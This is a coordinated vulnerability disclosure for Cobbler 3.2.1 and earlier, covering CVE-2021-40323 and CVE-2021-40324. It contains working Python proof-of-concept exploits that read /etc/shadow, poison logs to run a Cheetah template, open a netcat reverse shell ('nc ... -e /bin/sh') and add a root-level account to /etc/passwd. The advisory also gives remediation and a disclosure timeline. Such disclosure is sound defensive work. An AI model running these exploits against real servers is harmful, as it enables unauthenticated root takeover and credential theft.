[EN] Cobbler <= 3.2.1 multiple vulnerabilities leading to RCE as root

[EN] Cobbler <= 3.2.1 multiple vulnerabilities leading to RCE as root
By Laboratoire TNP / on 20 Sep, 2021

Introduction

From cobbler.github.io:

Cobbler is a Linux installation server that allows for rapid setup of network installation environments. Hundreds of companies, universities and government organizations rely on Cobbler every day to build their infrastructure.

Threat

We discovered several vulnerabilities allowing unauthenticated users to read/write files and execute arbitrary command as root on the latest version of Cobbler (3.2.1).

CVSS Scoring

  • Risk: 10.0 (Critical)
  • Vector String: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Affected versions

  • Cobbler <= 3.2.1

Assigned CVEs

  • CVE-2021-40323: Arbitrary file disclosure/Template Injection
  • CVE-2021-40324: Arbitrary file write

Vulnerabilities details

Arbitrary file disclosure/Template Injection

Cobbler exposes an XMLRPC API interface allowing users to request some information without authentication.

We discovered that the generate_script RPC method could be used to get arbitrary files on the system.

# cobbler/remote.py:2226
def generate_script(self, profile=None, system=None, name=None, **rest):
    return self.api.generate_script(profile, system, name)

# cobbler/api.py:1306
def generate_script(self, profile, system, name):
    if system:
        return self.tftpgen.generate_script("system", system, name)
    else:
        return self.tftpgen.generate_script("profile", profile, name)

# cobbler/tftpgen.py:1189
def generate_script(self, what: str, objname: str, script_name) -> str:
# [...]
    template = os.path.normpath(os.path.join("/var/lib/cobbler/scripts", script_name))
    if not os.path.exists(template):
        return "# script template %s not found" % script_name

    template_fh = open(template)
    template_data = template_fh.read()
    template_fh.close()
    return self.templar.render(template_data, blended, None)

The name parameter is not sanitized before being passed to os.path.join and then open.

That way, we can abuse this RPC method to read arbitrary files as root.

import xmlrpc.client
import traceback

def try_connect(url):
    try:
        xmlrpc_server = xmlrpc.client.ServerProxy(url)
        return xmlrpc_server
    except:
	    traceback.print_exc()
        return None

if __name__ == '__main__':
    api = try_connect("http://[cobbler_server]/cobbler_api")

    profiles = api.get_profiles()
    if len(profiles) > 0:
        target = profiles[0]["name"]
        print(api.generate_script(target, "", "/etc/shadow"))
    else:
	    print("No profiles")

Because the file is rendered using a template engine (by default, Cheetah), we could perform a template injection in order to gain arbitrary code execution.

Cheetah allows templates to execute arbitrary Python code, so no needs for a Sandbox escape or tricky object manipulation.

However, we still need to write an arbitrary template code to the filesystem.

We found that the easiest way to do that is to perform a log poisoning attack.

In the cobbler/remote.py file, many endpoints are calling the _log method that writes some RPC parameters in the cobbler log file. Using the endpoint of our choice, we can manipulate the cobbler log file, and then, evaluate this file as a template using this vulnerability.

import xmlrpc.client
import traceback

def try_connect(url):
    try:
        xmlrpc_server = xmlrpc.client.ServerProxy(url)
        return xmlrpc_server
    except:
        traceback.print_exc()
        return None

if __name__ == '__main__':
    exploitcode = '__import__(\'os\').system(\'nc [tnpitsecurity] 4242 -e /bin/sh\')'
    api = try_connect("http://[cobbler_server]/cobbler_api")

    profiles = api.get_profiles()
    if len(profiles):
        print("Found a valid profile, exploiting...")
        target = profiles[0]["name"]
        print("[+] Stage 1 : Poisoning log with Cheetah template RCE")
        print(api.generate_script(target, "", '{<%= ' + exploitcode + ' %>}'))
        print("[+] Stage 2 : Rendering template using an arbitrary file read.")
        print(api.generate_script(target, "", "/proc/self/fd/5"))

/proc/self/fd/5 is the file descriptor pointing to the cobbler log file.

Because Cobblerd is running as root, we have complete access to the deployment server.

Arbitrary file write

Cobblerd supports anamon: a script that automatically logs details from an Anaconda install back to a cobbler server .

If the anamon_enabled setting is enabled, we can call the upload_log_data XMLRPC function that is used to send anamon log files.

# cobbler/remote.py:2577
def upload_log_data(self, sys_name, file, size, offset, data, token=None, **rest):
    if not self.api.settings().anamon_enabled:
        # feature disabled!
        return False
    # Find matching system record
    systems = self.api.systems()
    obj = systems.find(name=sys_name)
    if obj is None:
        # system not found!
        self._log("upload_log_data - WARNING - system '%s' not found in Cobbler" % sys_name, token=token,
                    name=sys_name)

    return self.__upload_file(sys_name, file, size, offset, data)

def __upload_file(self, sys_name, file, size, offset, data):
    contents = base64.decodestring(data)
    del data
    if offset != -1:
        if size is not None:
            if size != len(contents):
                return False

    # XXX - have an incoming dir and move after upload complete
    # SECURITY - ensure path remains under uploadpath
    tt = str.maketrans("/", "+")
    fn = str.translate(file, tt)
    if fn.startswith('..'):
        raise CX("invalid filename used: %s" % fn)

    # FIXME ... get the base dir from cobbler settings()
    udir = "/var/log/cobbler/anamon/%s" % sys_name
    if not os.path.isdir(udir):
        os.mkdir(udir, 0o755)

    fn = "%s/%s" % (udir, fn)

    [...]
    fd = os.open(fn, os.O_RDWR | os.O_CREAT, 0o644)
    [Write file content]

The __upload_file function sanitize the file parameter (replace / and restrict ..). However the sys_name user-supplied parameter is not checked.

Even if sys_name is invalid, the log file is still saved.

import xmlrpc.client
import traceback
import base64

def try_connect(url):
    try:
        xmlrpc_server = xmlrpc.client.ServerProxy(url)
        return xmlrpc_server
    except:
        traceback.print_exc()
        return None

if __name__ == '__main__':
    api = try_connect("http://[cobbler_server]/cobbler_api")
    exploit = b"cha:!:0:0:cha:/:/bin/bash\n"
    print(api.upload_log_data("../../../../../../etc", "passwd", len(exploit), 100000, base64.b64encode(exploit)))

Using this exploit, we can manipulate any file on the system as root.

Due to a change in the Python XMLRPC API, this PoC may not work against servers using a recent Python version (Binary type used instead of bytes).

Remediation

Update to Cobbler 3.2.2 / 3.3.0.

We would like to thank SUSE LLC for quickly and seriously handling this vulnerability.

Timeline (dd/mm/yyyy)

  • 13/08/2021: Initial contact with the Cobbler project maintainer
  • 18/08/2021: Vulnerability confirmed by SUSE Security Team
  • 23/08/2021: Patch provided by the SUSE Security Team
  • 30/08/2021: Regression with the patch
  • 03/09/2021: CVE-2021-40323 / CVE-2021-40324 assigned by SUSE
  • 20/09/2021: Public disclosure by the Cobbler project (https://github.com/cobbler/cobbler/issues/2795)
  • 21/09/2021: Cobbler 3.3.0 released (https://github.com/cobbler/cobbler/releases/tag/v3.3.0)
  • 21/09/2021: Public disclosure by TNP IT Security

Credits

  • Nicolas Chatelain, TNP IT Security: nicolas.chatelain -at- tnpconsultants.com